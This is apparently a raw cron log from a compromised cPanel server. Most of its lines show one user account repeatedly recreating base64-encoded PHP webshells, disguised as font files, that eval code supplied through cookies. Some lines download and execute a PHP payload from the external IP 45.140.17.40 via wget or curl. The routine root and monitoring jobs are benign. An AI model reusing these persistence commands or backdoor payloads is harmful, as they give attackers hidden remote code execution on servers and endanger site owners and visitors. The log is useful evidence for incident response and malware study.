Sep 22 12:06:01 ip-184-168-122-23 CROND[17629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:06:01 ip-184-168-122-23 CROND[17630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:06:01 ip-184-168-122-23 CROND[17631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:06:01 ip-184-168-122-23 CROND[17632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:07:01 ip-184-168-122-23 CROND[18570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:07:01 ip-184-168-122-23 CROND[18571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:07:01 ip-184-168-122-23 CROND[18572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:07:01 ip-184-168-122-23 CROND[18574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:08:01 ip-184-168-122-23 CROND[19155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:08:01 ip-184-168-122-23 CROND[19154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:08:01 ip-184-168-122-23 CROND[19156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:08:01 ip-184-168-122-23 CROND[19161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:08:01 ip-184-168-122-23 CROND[19160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:09:01 ip-184-168-122-23 CROND[19414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:09:01 ip-184-168-122-23 CROND[19417]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 12:09:01 ip-184-168-122-23 CROND[19416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:09:01 ip-184-168-122-23 CROND[19420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:09:01 ip-184-168-122-23 CROND[19422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:10:01 ip-184-168-122-23 CROND[19842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:10:01 ip-184-168-122-23 CROND[19844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 12:10:01 ip-184-168-122-23 CROND[19843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:10:01 ip-184-168-122-23 CROND[19846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:10:01 ip-184-168-122-23 CROND[19847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:10:01 ip-184-168-122-23 CROND[19850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:10:01 ip-184-168-122-23 CROND[19848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:10:01 ip-184-168-122-23 CROND[19853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:11:01 ip-184-168-122-23 CROND[20257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:11:01 ip-184-168-122-23 CROND[20256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:11:01 ip-184-168-122-23 CROND[20255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:11:01 ip-184-168-122-23 CROND[20258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:12:01 ip-184-168-122-23 CROND[21766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:12:01 ip-184-168-122-23 CROND[21768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:12:01 ip-184-168-122-23 CROND[21773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:12:01 ip-184-168-122-23 CROND[21770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:12:01 ip-184-168-122-23 CROND[21771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:13:01 ip-184-168-122-23 CROND[23280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:13:01 ip-184-168-122-23 CROND[23281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:13:01 ip-184-168-122-23 CROND[23282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:13:01 ip-184-168-122-23 CROND[23284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:14:02 ip-184-168-122-23 CROND[24155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:14:02 ip-184-168-122-23 CROND[24158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:14:02 ip-184-168-122-23 CROND[24156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:14:02 ip-184-168-122-23 CROND[24159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:14:02 ip-184-168-122-23 CROND[24160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:15:01 ip-184-168-122-23 CROND[24845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:15:01 ip-184-168-122-23 CROND[24847]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 22 12:15:01 ip-184-168-122-23 CROND[24846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:15:02 ip-184-168-122-23 CROND[24853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:15:02 ip-184-168-122-23 CROND[24855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:15:02 ip-184-168-122-23 CROND[24858]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:15:02 ip-184-168-122-23 CROND[24856]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 12:15:02 ip-184-168-122-23 CROND[24863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:16:01 ip-184-168-122-23 CROND[25464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:16:02 ip-184-168-122-23 CROND[25467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:16:02 ip-184-168-122-23 CROND[25468]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 12:16:02 ip-184-168-122-23 CROND[25470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:16:02 ip-184-168-122-23 CROND[25471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:16:02 ip-184-168-122-23 CROND[25472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:17:02 ip-184-168-122-23 CROND[26023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:17:02 ip-184-168-122-23 CROND[26022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:17:02 ip-184-168-122-23 CROND[26024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:17:02 ip-184-168-122-23 CROND[26029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:18:01 ip-184-168-122-23 CROND[26657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
